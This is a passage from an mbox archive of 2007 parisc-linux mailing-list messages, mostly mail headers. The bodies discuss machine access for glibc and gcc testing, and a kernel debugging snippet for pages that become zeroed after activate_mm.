References: <119aab440705021021i35132820we4338ae3ca1862cd@mail.gmail.com>	
	<200705021815.l42IFqYS018776@hiauly1.hia.nrc.ca>	
	<5b2e36650705030552l100c7ecayfc848248aac679c9@mail.gmail.com>	
	<4639DE38.3000108@aurel32.net>
	<7d01f9f00705031039v20fafffcyf701f8a50cede9e0@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624350 23721 80.91.229.3 (22 Nov 2014 02:45:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2007 23:54:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 04 May 2007 01:54:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E26AD7DC08;
	Thu,  3 May 2007 17:54:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04492-08; Thu, 3 May 2007 17:54:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D64C67DC04;
	Thu,  3 May 2007 17:54:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 304E67DBCD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 17:54:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04492-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 17:54:48 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 4C5957DBC9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 17:54:48 -0600 (MDT)
Original-Received: from volta.aurel32.net ([2001:618:400:fc13:216:d3ff:fe17:fd00])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurelien@aurel32.net>)
	id 1Hjl8I-0006i6-CZ; Fri, 04 May 2007 01:54:46 +0200
Original-Received: from localhost ([127.0.0.1] ident=aurel32)
	by volta.aurel32.net with esmtp (Exim 4.63)
	(envelope-from <aurelien@aurel32.net>)
	id 1Hjl8Q-0002pE-Ti; Fri, 04 May 2007 01:54:54 +0200
User-Agent: IceDove 1.5.0.10 (X11/20070328)
In-Reply-To: <7d01f9f00705031039v20fafffcyf701f8a50cede9e0@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MhJSC3I2bHIymK3NNjQ0ZUsqJihyapC0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24520

Thibaut VARENE a écrit :
> On 5/3/07, Aurelien Jarno <aurelien@aurel32.net> wrote:
> 
>> My machine is too slow to build a glibc (I am doing my gcc tests on
>> paer.d.o). Would it be possible to do the same tests with my patch?
> 
> Hi Aurelien
> 
> If you need access to fast hppa machines, I can fix that ;)
> 

Actually I need a fast hppa machine where I can install packages that I
have just built (like a new gcc). But that case is very rare, and
paer.d.o is enough in most cases. Thanks anyway.

Bye,
Aurelien

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Thu, 3 May 2007 20:12:20 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200705040012.l440CLiL002581__40289.5210813314$1416624351$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440705031658g22e8be87p6b4c477a18501f5@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624351 23725 80.91.229.3 (22 Nov 2014 02:45:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:51 +0000 (UTC)
Cc: aurelien@aurel32.net,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 May 2007 00:12:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 04 May 2007 02:12:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F3AD7DB5D;
	Thu,  3 May 2007 18:12:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05192-04; Thu, 3 May 2007 18:12:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CBBE7DC1F;
	Thu,  3 May 2007 18:12:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFBBF7DC1D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 18:12:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05199-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 18:12:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 094FE7DC1C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 18:12:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l440CMGd002583;
	Thu, 3 May 2007 20:12:24 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l440CLiL002581;
	Thu, 3 May 2007 20:12:21 -0400 (EDT)
In-Reply-To: <119aab440705031658g22e8be87p6b4c477a18501f5@mail.gmail.com> from
	"Carlos O'Donell" at May 3, 2007 07:58:35 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FxNPdX5iODBplbWUfGRMmCU1Ji9SWlKP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24521

> My full list follows, which is smaller than your full list. I am using
> gcc head, and a very recent binutils.

Somewhat surprising since head has significantly more problems than 4.2.0
and binutils has the new eh_frame_hdr warning.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Fri, 4 May 2007 03:39:12 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <7d01f9f00705031839l7ef0131se561bb410e1bff2f__22341.6616594934$1416624351$gmane$org@mail.gmail.com>
References: <119aab440705021021i35132820we4338ae3ca1862cd@mail.gmail.com>
	<200705021815.l42IFqYS018776@hiauly1.hia.nrc.ca>
	<5b2e36650705030552l100c7ecayfc848248aac679c9@mail.gmail.com>
	<4639DE38.3000108@aurel32.net>
	<7d01f9f00705031039v20fafffcyf701f8a50cede9e0@mail.gmail.com>
	<463A764E.4030606@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624351 23728 80.91.229.3 (22 Nov 2014 02:45:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Aurelien Jarno" <aurelien@aurel32.net>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 May 2007 01:39:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 04 May 2007 03:39:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 012D07DC42;
	Thu,  3 May 2007 19:39:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06004-07; Thu, 3 May 2007 19:39:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 298967DC29;
	Thu,  3 May 2007 19:39:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 03A5B7DC27
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 19:39:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06004-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 19:39:15 -0600 (MDT)
Original-Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.249])
	by free.linux.hp.com (Postfix) with ESMTP id 61D537DC26
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 19:39:15 -0600 (MDT)
Original-Received: by an-out-0708.google.com with SMTP id c18so823643anc
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 03 May 2007 18:39:12 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=CFw7B/3iThQHsgprE2Fwmy62B+5+bqKHF9Acelg03kr2LLaW36q3v1pVu2nRQNj2dwLQrsrlBtkK041Fj/PXtGAPGZQ8blu33qYurV+lLzsBG/5cUI4YIZnMQJn7uFVJI7jRpNs0Rp8baTHlgUi9KMxvx4irK3zAn0PSI2GusNM=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=ImaNp6ky5VQUNYiK67gLT9hpHlispXYj5WMVlUETJy11bOX5pW/y/H3ltEXDmrs79meLX8l51bDjC0XuTw4HEYQGmKRUsKG8KckJ3nXevDIb2KCK1lQPZTSRo7nrNHnWzwHV+M6x/BbhXtHkqj3HWaIFZL9XAVX8zTX1gREeAQA=
Original-Received: by 10.100.122.8 with SMTP id u8mr2233254anc.1178242752741;
	Thu, 03 May 2007 18:39:12 -0700 (PDT)
Original-Received: by 10.100.133.10 with HTTP; Thu, 3 May 2007 18:39:12 -0700 (PDT)
In-Reply-To: <463A764E.4030606@aurel32.net>
Content-Disposition: inline
X-Google-Sender-Auth: 5a7ee32ed865472e
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /PQPLiI9ZDI4y7HGdWY2pvVxemhmY0HP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24522

On 5/4/07, Aurelien Jarno <aurelien@aurel32.net> wrote:
>
> Actually I need a fast hppa machine where I can install packages that I
> have just built (like a new gcc).

That's absolutely not a problem (especially if you can cope with a
chroot environment). I have systems ready for that purpose.

> But that case is very rare, and
> paer.d.o is enough in most cases. Thanks anyway.

You're welcome, feel free to poke again if you change your mind ;)

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ollie Wild" <aaw@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Wed, 2 May 2007 16:52:18 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <65dd6fd50705021652s3b3b721dl6a8323259cd4efa9__15999.6690032587$1416624351$gmane$org@mail.gmail.com>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
	<1178149192.3712.28.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624351 23730 80.91.229.3 (22 Nov 2014 02:45:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:51 +0000 (UTC)
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>,
 parisc-linux@lists.parisc-linux.org
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 23:52:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 03 May 2007 01:52:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C119B7DB7E;
	Wed,  2 May 2007 17:52:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23460-08; Wed, 2 May 2007 17:52:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A5FC7DB89;
	Wed,  2 May 2007 17:52:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B278E7DB7A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 17:52:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23380-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 May 2007 17:52:30 -0600 (MDT)
Original-Received: from smtp-out.google.com (smtp-out.google.com [216.239.33.17])
	by free.linux.hp.com (Postfix) with ESMTP id 6E6437DB79
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 17:52:29 -0600 (MDT)
Original-Received: from spaceape11.eur.corp.google.com (spaceape11.eur.corp.google.com
	[172.28.16.145]) by smtp-out.google.com with ESMTP id l42NqOMC005607
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 00:52:24 +0100
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:
	mime-version:content-type:content-transfer-encoding:
	content-disposition:references;
	b=vmEInxoJSYgTk4qFWgZYLtspr02RbuMCOhAahtFfti8xMbeLkTBJJoDJOUXNcUSRa
	FCSSyBlVYackELtcbtamA==
Original-Received: from py-out-1112.google.com (pyia29.prod.google.com [10.34.253.29])
	by spaceape11.eur.corp.google.com with ESMTP id l42NqJ0S008804
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 00:52:19 +0100
Original-Received: by py-out-1112.google.com with SMTP id a29so266804pyi
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 02 May 2007 16:52:18 -0700 (PDT)
Original-Received: by 10.35.110.13 with SMTP id n13mr2118156pym.1178149938810;
	Wed, 02 May 2007 16:52:18 -0700 (PDT)
Original-Received: by 10.35.9.4 with HTTP; Wed, 2 May 2007 16:52:18 -0700 (PDT)
In-Reply-To: <1178149192.3712.28.camel@mulgrave.il.steeleye.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fRYLdXhgPTRtyejGPjIwe5wxc2tpZAsa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24523

> Give me more of a clue on this one ... afterwards *who* sees the pages
> as zero'd?  The user or the kernel ... if the user, I think it's a
> simple coherency problem.

Ah, I should have been more clear.  I scattered a bunch of code
similar to this throughout the kernel:

  {
    struct page *page;
    char * addr;

    get_user_pages(current, bprm->mm, bprm->p, 1, 0, 1, &page, NULL);
    addr = kmap(page);
    printk("page = %p, bprm->p = %016lx\n", page, bprm->p);
    printk("%s: %d: \"%s\"\n", __FUNCTION__, __LINE__, addr);
    kunmap(page);
    put_page(page);
  }

I observed that after the activate_mm() call, page and bprm->p were
unchanged, but the string at addr switched from the executable name to
the null string.

I thought that caching might play a role, so I added
flush_dcache_page() calls after the kunmap's, but that didn't help.

Ollie
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Thu, 03 May 2007 23:03:36 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <1178226216.2767.1.camel__36969.5595735267$1416624352$gmane$org@lappy>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
	<1178149192.3712.28.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705021652s3b3b721dl6a8323259cd4efa9@mail.gmail.com>
	<1178153532.3712.39.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705030111i993390bx829ee5eb8a188462@mail.gmail.com>
	<1178203985.3714.11.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705031055p1fa02d55j6fd729239ea35d38@mail.gmail.com>
	<1178221672.3714.55.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624352 23740 80.91.229.3 (22 Nov 2014 02:45:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:52 +0000 (UTC)
Cc: Ollie Wild <aaw@google.com>,
 parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 May 2007 16:18:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 04 May 2007 18:18:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 591DA7DC5A;
	Fri,  4 May 2007 10:18:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12662-03; Fri, 4 May 2007 10:18:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49BDF7DC57;
	Fri,  4 May 2007 10:18:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E9137DBF4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 15:08:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03754-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 May 2007 15:08:10 -0600 (MDT)
Original-Received: from amsfep16-int.chello.nl (amsfep16-int.chello.nl [62.179.120.11])
	by free.linux.hp.com (Postfix) with ESMTP id 31B867DBDA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 May 2007 15:08:10 -0600 (MDT)
Original-Received: from programming.kicks-ass.net ([62.195.55.87])
	by amsfep16-int.chello.nl
	(InterMail vM.6.01.04.04 201-2131-118-104-20050224) with ESMTP id
	<20070503210808.BKEK6840.amsfep16-int.chello.nl@programming.kicks-ass.net>;
	Thu, 3 May 2007 23:08:08 +0200
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by programming.kicks-ass.net (Postfix) with ESMTP id 68E815C453F;
	Thu,  3 May 2007 23:03:37 +0200 (CEST)
In-Reply-To: <1178221672.3714.55.camel@mulgrave.il.steeleye.com>
X-Mailer: Evolution 2.8.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Fri, 04 May 2007 10:18:12 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
